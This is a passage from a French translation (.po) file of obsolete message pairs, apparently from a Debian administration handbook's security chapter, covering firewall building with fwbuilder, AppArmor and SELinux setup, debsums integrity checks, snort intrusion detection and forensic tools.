IPv6 is concerned, one can either create two distinct rulesets for IPv4 and IPv6, or create only one and let fwbuilder translate the rules according to the addresses assigned to the objects." #~ msgstr "On peut soit créer 2 jeux de règles différents pour IPv4 et IPv6, soit n'en créer qu'un seul et laisser fwbuilder traduire les règles adéquates en fonction des différentes adresses assignées aux objets manipulés." #~ msgid "Fwbuilder's main window" #~ msgstr "Fwbuilder en action" #~ msgid "fwbuilder can then generate a script configuring the firewall according to the rules that have been defined. Its modular architecture gives it the ability to generate scripts targeting different systems (iptables for Linux, ipf for FreeBSD and pf for OpenBSD)." #~ msgstr "fwbuilder peut alors générer un script de configuration du pare-feu selon les règles saisies. Son architecture modulaire lui permet de générer des scripts pour les pare-feu de différents systèmes (iptables pour Linux, ipf pour FreeBSD et pf pour OpenBSD)." #~ msgid "" #~ "# apt install apparmor apparmor-profiles apparmor-utils\n" #~ "[...]\n" #~ "# perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n" #~ "# update-grub\n" #~ "" #~ msgstr "" #~ "# apt install apparmor apparmor-profiles apparmor-utils\n" #~ "[...]\n" #~ "# perl -pi -e 's,GRUB_CMDLINE_LINUX=\"(.*)\"$,GRUB_CMDLINE_LINUX=\"$1 apparmor=1 security=apparmor\",' /etc/default/grub\n" #~ "# update-grub\n" #~ "" #~ msgid "" #~ "\n" #~ "# aa-unconfined\n" #~ "801 /sbin/dhclient not confined\n" #~ "890 /sbin/rpcbind not confined\n" #~ "899 /sbin/rpc.statd not confined\n" #~ "929 /usr/sbin/sshd not confined\n" #~ "941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'\n" #~ "988 /usr/sbin/minissdpd not confined\n" #~ "1276 /usr/sbin/exim4 not confined\n" #~ "1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined\n" #~ "1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined\n" #~ "19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined\n" #~ " " #~ msgstr "" #~ "\n" #~ "# aa-unconfined\n" #~ "801 /sbin/dhclient not confined\n" #~ "890 /sbin/rpcbind not confined\n" #~ "899 /sbin/rpc.statd not confined\n" #~ "929 /usr/sbin/sshd not confined\n" #~ "941 /usr/sbin/avahi-daemon confined by '/usr/sbin/avahi-daemon (complain)'\n" #~ "988 /usr/sbin/minissdpd not confined\n" #~ "1276 /usr/sbin/exim4 not confined\n" #~ "1485 /usr/lib/erlang/erts-6.2/bin/epmd not confined\n" #~ "1751 /usr/lib/erlang/erts-6.2/bin/beam.smp not confined\n" #~ "19592 /usr/lib/dleyna-renderer/dleyna-renderer-service not confined\n" #~ " " #~ msgid "The program wants to create the /run/dhclient-eth0.pid file. If we allow the creation of this specific file only, the program will not work when the user will use it on another network interface. Thus we select “New” to replace the filename with the more generic “/run/dhclient*.pid” before recording the rule with “Allow”." #~ msgstr "Le programme essaie de créer le fichier /run/dhclient-eth0.pid. Si nous autorisons seulement la création de ce fichier, le programme ne fonctionnera plus lorsque l'utilisateur essaiera de l'utiliser sur une autre interface réseau. Nous choisissons donc « New » pour remplacer le nom de fichier par un nom plus générique, « /run/dhclient*.pid », avant d'enregistrer la règle avec « Allow »." #~ msgid "CAUTION Reference policy not in jessie" #~ msgstr "ATTENTION Politique de référence absente de Jessie" #~ msgid "Unfortunately the maintainers of the refpolicy source package did not handle release critical bugs on their package and the package got removed from jessie. This means that the selinux-policy-* packages are currently not installable in jessie and need to be fetched from another place. Hopefully they will come back in one of the point releases or in jessie-backports. In the meantime, you can grab them from unstable." #~ msgstr "Les responsables du paquet source refpolicy n'ont malheureusement pas pu traiter à temps les bogues critiques du paquet, et ce dernier a donc été supprimé de Jessie. En pratique, cela signifie que les paquets selinux-policy-* ne sont pas disponibles dans Jessie, et qu'ils doivent être récupérés depuis une autre distribution. Nous espérons qu'ils reviendront dans une version corrective, ou dans les rétroportages. En attendant, vous pouvez les récupérer dans Unstable." #~ msgid "This sad situation at least proves that SELinux is not very popular in the set of users/developers who are running the development versions of Debian. Thus, if you opt to use SELinux, you should expect the default policy to not work perfectly and you will have to invest quite some time to make it suitable to your specific needs." #~ msgstr "Ce triste constat montre au moins que SELinux n'est pas très populaire parmi les utilisateurs et développeurs qui se servent des versions de développement de Debian. C'est pourquoi, lorsqu'on choisit d'utiliser SELinux, il faut s'attendre à passer un temps non négligeable à l'adapter à ses besoins spécifiques." #~ msgid "SNAT (only in the nat table, therefore only in IPv4 on Wheezy — NAT support for IPv6 appeared in the Linux 3.7 kernel): apply Source NAT (extra options describe the exact changes to apply);" #~ msgstr "SNAT (seulement dans la table nat, donc seulement en IPv4 sur Wheezy — la prise en charge du NAT sur IPv6 est apparu dans le noyau Linux 3.7) : effectuer du Source NAT (des options précisent les modifications à effectuer) ;" #~ msgid "Versions of the fwbuilder package since Squeeze contain both the graphical interface and the modules for each firewall system (these were previously split over several packages, one for each target system):" #~ msgstr "Depuis Squeeze, le paquet fwbuilder contient aussi bien l'interface graphique que les modules pour les différents pare-feu (auparavant, ces derniers étaient répartis en plusieurs paquets — un par système d'exploitation) :" #~ msgid "If the firewall is meant to protect an intermittent PPP network connection, the simplest way to deploy the script is to install it as /etc/ppp/ip-up.d/0iptables (note that only files without a dot in their name are taken into account). The firewall will thus be reloaded every time a PPP connection is established." #~ msgstr "Si le pare-feu doit protéger une connexion réseau intermittente par PPP, le plus simple est de changer le nom du script de configuration du pare-feu et de l'installer sous /etc/ppp/ip-up.d/0iptables (attention, le nom de fichier ne doit pas contenir de point, sinon il ne sera pas pris en compte). Ainsi, il sera rechargé à chaque démarrage d'une connexion PPP." #~ msgid "TIP Your logs as screen background" #~ msgstr "ASTUCE Vos logs en fond d'écran" #~ msgid "Some administrators like seeing their log messages scroll by in real time; the root-tail command (in the root-tail) package can be used to integrate the logs into the background of their graphical desktop. The xconsole program (in the x11-apps package) can also have them scrolling in a small window. Messages are directly taken from syslogd via the /dev/xconsole named pipe." #~ msgstr "Certains administrateurs aiment voir les messages de logs défiler en temps réel. Ils pourront les intégrer dans le fond d'écran de leur bureau graphique avec la commande root-tail (du paquet Debian éponyme). Le programme xconsole (du paquet x11-apps) les fera défiler dans une petite fenêtre ; les messages sont directement issus de syslogd par l'intermédiaire du tube nommé /dev/xconsole." #~ msgid "root-tail" #~ msgstr "root-tail" #~ msgid "In addition, the md5sums files are stored on the hard disk; a thorough attacker will therefore update these files so they contain the new control sums for the subverted files." #~ msgstr "D'autre part, les fichiers md5sums sont stockés sur le disque dur : un intrus consciencieux modifiera ces fichiers pour leur faire refléter les nouvelles sommes de contrôle des fichiers sur lesquels il sera intervenu." #~ msgid "The first drawback can be avoided by asking debsums to base its checks on a .deb package instead of relying on the md5sums file. But that requires downloading the matching .deb files first:" #~ msgstr "On peut contourner le premier inconvénient en demandant à debsums d'utiliser directement un paquet .deb pour effectuer le contrôle au lieu de se reposer sur le fichier md5sums. Il faut au préalable télécharger les fichiers .deb correspondants :" #~ msgid "" #~ "\n" #~ "# apt-get --reinstall -d install `debsums -l`\n" #~ "[ ... ]\n" #~ "# debsums -p /var/cache/apt/archives -g\n" #~ " " #~ msgstr "" #~ "\n" #~ "# apt-get --reinstall -d install `debsums -l`\n" #~ "[ ... ]\n" #~ "# debsums -p /var/cache/apt/archives -g\n" #~ " " #~ msgid "It is also worth noting that, in its default configuration, debsums automatically generates the missing md5sums files whenever a package is installed using APT." #~ msgstr "En outre, dans sa configuration par défaut, debsums génère automatiquement les fichiers md5sums manquants en effectuant l'opération ci-dessus chaque fois que APT est employé pour installer un nouveau paquet." #~ msgid "Its configuration requires describing the range of addresses that the local network covers. In practice, this means the set of all potential attack targets. Other important parameters can be configured with dpkg-reconfigure snort, including the network interface to monitor. This will often be eth0 for an Ethernet connection, but other possibilities exist such as ppp0 for an ADSL or PSTN (Public Switched Telephone Network, or good old dialup modem), or even wlan0 for some wireless network cards." #~ msgstr "Son installation demande de préciser la plage d'adresses couverte par le réseau local : il s'agit en réalité d'indiquer toutes les cibles potentielles d'attaques. Il est possible de configurer d'autres paramètres importants en exécutant dpkg-reconfigure snort, notamment l'interface réseau à surveiller. Il s'agit en général d'eth0 pour une connexion Ethernet, mais on pourra aussi trouver ppp0 pour une connexion ADSL ou RTC (Réseau Téléphonique Commuté, ou modem classique) voire wlan0 pour certaines cartes Wi-Fi." #~ msgid "The snort configuration file (/etc/snort/snort.conf) is very long, and the abundant comments describe each directive with much detail. Getting the most out of it requires reading it in full and adapting it to the local situation. For instance, indicating which machine hosts which service can limit the number of incidents snort will report, since a denial of service attack on a desktop machine is far from being as critical as one on a DNS server. Another interesting directive allows storing the mappings between IP addresses and MAC addresses (these uniquely identify a network card), so as to allow detecting ARP spoofing attacks by which a compromised machine attempts to masquerade as another such as a sensitive server." #~ msgstr "Le fichier de configuration de snort (/etc/snort/snort.conf) est très long et ses abondants commentaires y détaillent le rôle de chaque directive. Il est fortement recommandé de le parcourir et de l'adapter à la situation locale pour en tirer le meilleur parti. En effet, il est possible d'y indiquer les machines hébergeant chaque service pour limiter le nombre d'incidents rapportés par snort (un déni de service sur une machine bureautique n'est pas aussi dramatique que sur un serveur DNS). On peut encore y renseigner les correspondances entre adresses IP et MAC (il s'agit d'un numéro unique identifiant chaque carte réseau) pour détecter les attaques par ARP-spoofing (travestissement d'ARP), qui permettent à une machine compromise de se substituer à une autre (un serveur sensible par exemple)." #~ msgid "On a small network based around a network hub, there is no such problem, since all machines get all the traffic." #~ msgstr "Pour un petit réseau doté d'un concentrateur (hub), le problème ne se pose pas : toutes les machines reçoivent tout le trafic." #~ msgid "The target object was named xconsole." #~ msgstr "L'objet cible portait le nom de xconsole." #~ msgid "Some of these operations can be made easier with specialized software. In particular, The Coroner Toolkit (in the tct package) is a collection of such tools. It includes several tools; amongst these, grave-robber can collect data from a running compromised system, lazarus extracts often interesting data from non-allocated regions on disks, and pcat can copy the memory used by a process; other data extraction tools are also included. The Coroner Toolkit" #~ msgstr "Il existe des logiciels pour faciliter certaines de ces opérations. Citons notamment The Coroner Toolkit (Le kit du médecin légiste) fourni par le paquet tct : il contient grave-robber qui collecte à chaud des données d'un système compromis, lazarus qui extrait des données des zones non allouées d'un disque, pcat qui effectue une copie de la mémoire utilisée par un processus, ainsi que d'autres outils d'extraction de données. The Coroner Toolkit"